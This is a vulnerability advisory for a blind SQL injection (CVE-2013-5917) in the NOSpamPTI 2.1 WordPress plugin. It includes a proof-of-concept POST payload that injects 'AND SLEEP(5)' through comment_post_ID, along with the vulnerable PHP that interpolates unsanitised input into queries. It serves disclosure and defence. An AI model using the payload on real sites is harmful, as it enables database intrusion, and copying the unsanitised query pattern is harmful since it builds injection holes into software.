WordPress NOSpamPTI 2.1 Blind SQL Injection

`[ NOSpamPTI Wordpress plugin Blind SQL Injection ]  
  
[ Vendor product description ]  
  
NOSpamPTI eliminates the spam in your comment box so strong and free,  
developed from the idea of Nando Vieira <a href="http://bit.ly/d38gB8"  
rel="nofollow">http://bit.ly/d38gB8</a>, but some themes do not support  
changes to the functions.php to this we alter this function and  
available as a plugin. Make good use of this plugin and forget all the Spam.  
  
[ Bug Description ]  
  
NOSpamPTI contains a flaw that may allow an attacker to carry out a  
Blind SQL injection attack. The issue is due to the wp-comments-post.php  
script not properly sanitizing the comment_post_ID in POST data. This  
may allow an attacker to inject or manipulate SQL queries in the  
back-end database, allowing for the manipulation or disclosure of  
arbitrary data.  
  
[ History ]  
  
Advisory sent to vendor on 09/09/2013  
Vendor reply 09/20/2013. According the vendor, the plugin was deprecated.  
  
[ Impact ]  
  
HIGH  
  
[ Afected Version ]  
  
2.1  
  
[ CVE Reference]  
  
CVE-2013-5917  
  
[ POC ]  
  
Payload:  
POST /wordpress/wp-comments-post.php  
  
author=1&challenge=1&challenge_hash=e4da3b7fbbce2345d7772b0674a318d5&comment=1&comment_parent=0&comment_post_ID=1  
AND SLEEP(5)&[email protected]&submit=Post Comment&url=1  
  
[ Vulnerable code ]  
  
$post_id = $_POST['comment_post_ID'];  
  
load_plugin_textdomain('nospampti',  
WP_PLUGIN_URL.'/nospampti/languages/', 'nospampti/languages/');  
  
if ($hash != $challenge) {  
$wpdb->query("DELETE FROM {$wpdb->comments} WHERE comment_ID =  
{$comment_id}");  
$count = $wpdb->get_var("select count(*) from $wpdb->comments  
where comment_post_id = {$post_id} and comment_approved = '1'");  
  
  
[ Reference ]  
  
[1] No SpamPTI SVN repository -  
http://plugins.svn.wordpress.org/nospampti/trunk/nospampti.php  
[2] Owasp - https://owasp.org/index.php/SQL_Injection  
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/  
  
--------------------------------------------  
iBliss Segurança e Inteligência - Sponsor: Alexandro Silva - Alexos  
  
alexos (at) ibliss.com (dot) br [email concealed]  
`